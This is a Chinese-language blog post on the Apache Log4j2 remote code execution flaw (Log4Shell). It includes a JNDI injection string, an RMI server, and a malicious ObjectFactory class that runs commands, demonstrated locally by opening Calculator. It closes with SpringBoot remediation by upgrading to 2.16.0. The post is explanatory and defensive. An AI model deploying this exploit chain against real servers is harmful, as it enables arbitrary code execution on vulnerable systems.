近日,网络上出现 Apache Log4j2 远程代码执行漏洞。攻击者可利用该漏洞构造特殊的数据请求包,最终触发远程代码执行。由于该漏洞影响范围极广,建议广大用户及时排查相关漏洞,经过白帽汇安全研究院分析确认,目前市面有多款流行的系统都受影响。
据 payload 公开信息显示,目前全球范围内大量网站已经被该漏洞“攻陷”,比如百度:

一、漏洞描述
⚠️ 漏洞影响
本次 Apache Log4j 远程代码执行漏洞,正是由于组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。
比如,启动你电脑上的计算器:

再比如:最简单的攻击,写个循环,无限执行,让你的服务器CPU爆满… …
⚠️ 漏洞依赖
Apache log4j2:基于 Java 的日志记录工具,该日志框架被大量用于业务系统开发,用来记录日志信息。
⚠️ 影响范围
2.0 <= Apache log4j2 <= 2.14.1
二、简单演示(自检方式)
2.1、引入log4j2依赖
⚠️ 注意📢
我本地是springboot,默认的使用的LogBack,是无法复现的,所以,我先排除LogBack。自测自己环境是否有漏洞,无需这步操作,直接去2.2、快速自测即可
在springboot项目中默认使用的是Logback所以,想复现先排除Logback、引入log4j2依赖。
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<!-- 去掉SpingBoot默认的日志系统:LogBack,集成在spring-boot-starter-logging -->
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
2.2、漏洞简单演示(快速自检)
本地springboot默认有log4j2依赖,并且版本低于2.15.0,所以直接演示即可
public static void main(String[] args) {
String user = "${java:vm}";
log.error("user: {}", user);
}

我们可以看到,这里${java:vm}被成功的代码注入了,输出的并不是user: {java:vm},而是{java:vm}执行后的结果。
三、演示jndi攻击
3.1、环境准备
- 本地环境
jdk: 1.8
操作系统:mac os
log4j版本:2.14.0
项目:springboot
- java 依赖
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<!-- 去掉SpingBoot默认的日志系统:LogBack,集成在spring-boot-starter-logging -->
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
</dependencies>
3.2、受害者代码
@Slf4j
public class TestJNDI {
public static void main(String[] args) {
String user = "${jndi:rmi://127.0.0.1:1099/hack}";
log.error("user: {}", user);
}
}
3.3、恶意攻击代码
3.3.1、RMI服务
Java RMI,即 远程方法调用(Remote Method Invocation),一种用于实现远程过程调用(RPC)的Java API, 能直接传输序列化后的Java对象和分布式垃圾收集。它的实现依赖于(JVM),因此它仅支持从一个JVM到另一个JVM的调用。
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) {
try {
// 启动服务
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
// 创建资源
Reference reference = new Reference("com.example.demo2.hacker.HackCode","com.example.demo2.hacker.HackCode",null);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
// 绑定资源
registry.bind("hack", referenceWrapper);
System.out.println("RMIServer is running......");
} catch (Exception e) {
e.printStackTrace();
}
}
}
3.3.2、恶意代码(打开计算器)
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
/**
* 执行任意的脚本,目前的脚本会使mac打开计算器
* @author yangmeng
*/
public class HackCode implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
System.out.println("执行黑客攻击代码......");
String[] commands = {"open", "/System/Applications/Calculator.app"};
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
System.out.println("完成执行漏洞代码");
return null;
}
}
我们可以看到,commands命令可以随意填linux命令,这样,就可以对服务器做任何操作,非常危险
四、SpringBoot项目如何应对
4.1、SpringBoot日志原理简述
我们在自己SpringBoot项目中,可以看到SpringBoot的日志依赖关系,默认的会有Log4j依赖


但是,SpringBoot默认的选择的是选用的是SLF4j + Logback

详细日志原理,请参看:《Java日志框架:SpringBoot整合日志框架》
4.2、SpringBoot项目应对方案
4.2.1、默认配置解决方案
Spring Boot默认日志组件是logback,开发者通过日志门面Slf4j进行集成对接。
Spring Boot 用户只有在将默认日志系统切换到 Log4J2 时才会受到此漏洞的影响。
Spring Boot包含的log4j-to-slf4j和log4j-api、spring-boot-starter-logging不能独立利用。
只有log4j-core在日志消息中使用和包含用户输入的应用程序容易受到攻击。
也就是说Spring Boot现在包含Log4J2的依赖只要你不启用是不会触发漏洞的。
4.2.3、自定义Log4j2依赖的解决方案
如果你在SpringBoot项目中,自定义了Log4j2依赖,那么也不用担心,Apache Log4j 已经发布了新版本来修复该漏洞,请受影响的用户将 Apache Log4j2 的所有相关应用程序升级至最新的 Log4j-2.16.0-rc2 版本,同时升级已知受影响的应用程序和组件,如 srping-boot-strater-log4j2、Apache Solr、Apache Flink、Apache Druid。
也就是说,你只需要升级Log4j2依赖的版本号即可
听说2.15已经不行了,赶紧升到2.16吧

<properties>
<log4j2.version>2.16.0</log4j2.version>
</properties>

4.2.4、解决后演示
我们可以看到,当版本升级到2.16版本,这种代码注入的情况已经被修复了

赶快查看自己项目,尽快修复漏洞吧!!!




